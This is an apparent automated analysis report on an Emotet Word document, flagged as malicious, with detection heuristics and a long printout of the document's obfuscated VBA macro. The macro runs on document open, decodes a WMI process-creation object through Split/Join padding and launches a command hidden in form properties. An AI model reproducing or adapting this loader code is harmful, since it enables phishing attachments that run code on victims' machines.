Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 002fc17ef46f5a78…

MALICIOUS

Office (OLE)

234.5 KB Created: 2020-08-17 18:02:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 8d6a2041963616c6413284303f9ed2b0 SHA-1: e6c463475741a70960af2097893f276c429f3b5d SHA-256: 002fc17ef46f5a786a26f8463cd5ec94ae73ee28100e60d364eb8ac85e70a10a
230 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are characteristic of Emotet. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' indicates the use of a hidden UserForm to execute code. The ClamAV detection 'Doc.Malware.Emotet-9370793-0' further supports the Emotet family attribution. The VBA script likely downloads and executes a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9370793-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9370793-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    Kyyuvd3ypuy = Split _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Wlw1pfu8q5uw0e = CreateObject(Qx5iek1k7l95x)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Document_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9983 bytes
SHA-256: 54b5990d689532fe908eb26b876fa3fc7193de5e3143947e5df6333294fa73cb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "N9zf05x4nq6"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Dnqccsiwye_qjfc.A7i_lnrvtjn1riwq
End Sub


Attribute VB_Name = "Dnqccsiwye_qjfc"
Attribute VB_Base = "0{ABDC43F6-6A09-4813-B82B-F52E2FE38759}{33DFFBA7-19CC-4A1F-A702-3E8495DEC72A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function A7i_lnrvtjn1riwq()
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
P78yynxeudnkk4goq = Dnqccsiwye_qjfc.HelpContextId + 100
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
Ji4wglihrwiabvv1gy = ChrW(P78yynxeudnkk4goq + (100 + 35) / 9)
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
A7j5udugfa1prm = "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2si8[2[23bjgas ooo82&jhsb uqgw[[[ww2snm8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sgm8[2[23bjgas ooo82&jhsb uqgw[[[ww2st8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Ji4wglihrwiabvv1gy + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s:8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2sin8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s38[2[23bjgas ooo82&jhsb uqgw[[[ww2s28[2[23bjgas ooo82&jhsb uqgw[[[ww2s_8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Dnqccsiwye_qjfc.Skec_hdb2tig4 + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2sro8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sce8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2s"
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
Qx5iek1k7l95x = N5x7vkj9de73(A7j5udugfa1prm)
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
Set Wlw1pfu8q5uw0e = CreateObject(Qx5iek1k7l95x)
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
Sodom3eillmovy0mh = Dnqccsiwye_qjfc.N_nsk51gt7b.ControlTipText
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
Al4i7pwje3p6re76n = R_593act7gapjzsa + (Qx5iek1k7l95x + Ji4wglihrwiabvv1gy + Dnqccsiwye_qjfc.F05gd7bimtjrp.ControlTipText + Sodom3eillmovy0mh)
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
Yb1izoo51emx = Al4i7pwje3p6re76n + Dnqccsiwye_qjfc.Skec_hdb2tig4
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
Set Dnie1mivg242h15 = Om9_p7qic4ra1so(Yb1izoo51emx)
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
Iggj8hl072aiv_f3h = Array(V4tsfiofjpt + "Bfy418lr34s0 Gblkh6xcvyhl4a9630 Lxz6v3kjr2mblux7hd", Wlw1pfu8q5uw0e. _
Create(Suewkli6jfs6b, Bu8grsqs87nwa5wtj, Dnie1mivg242h15), F1s8wfliw82ge23 + "Xmuqhneknoeemizanl Jme027i7u312w6d8j_")
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
End Function
Function Om9_p7qic4ra1so(Dbt58fmxfj4)
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
Set Om9_p7qic4ra1so = CreateObject(Dbt58fmxfj4)
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
Om9_p7qic4ra1so. _
showwindow = J5viuhbh8oh1442ou + K4v0rusxxsjilpbv0
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
End Function
Function N5x7vkj9de73(D1hxy0877znc0g8z0o)
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
Zmko29e7pvuq4b2bt = D1hxy0877znc0g8z0o
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
Kyyuvd3ypuy = Split _
(Zmko29e7pvuq4b2bt, "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s")
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
Zl5fd6dzumkok4 = Uev2zymsnc90 + Join(Kyyuvd3ypuy, Muf7hhonb18vt9zd3)
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
N5x7vkj9de73 = Zl5fd6dzumkok4
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
End Function
Function Suewkli6jfs6b()
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
Ysd3enu65ce_xe1q = Dnqccsiwye_qjfc.Phoeb7n25sma5_n.Caption
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
Suewkli6jfs6b = N5x7vkj9de73(Ysd3enu65ce_xe1q)
   If 791639 <> 777579 Then
Vjrvqnrw6p2eh = 791639 + 1989
Mc4jrxdmjs6xg = 777579 - 2013
Else
InputBox (CStr(Vjrvqnrw6p2eh) & CStr(Mc4jrxdmjs6xg))
End If
Mc4jrxdmjs6xg = "KAjamLNcTV"
B2qrhxnfplt81zbmue = 623691
V3v75a6fwes85ar = V3v75a6fwes85ar & CStr(B2qrhxnfplt81zbmue)
Xs7_3y16tbg5rey = V3v75a6fwes85ar
End Function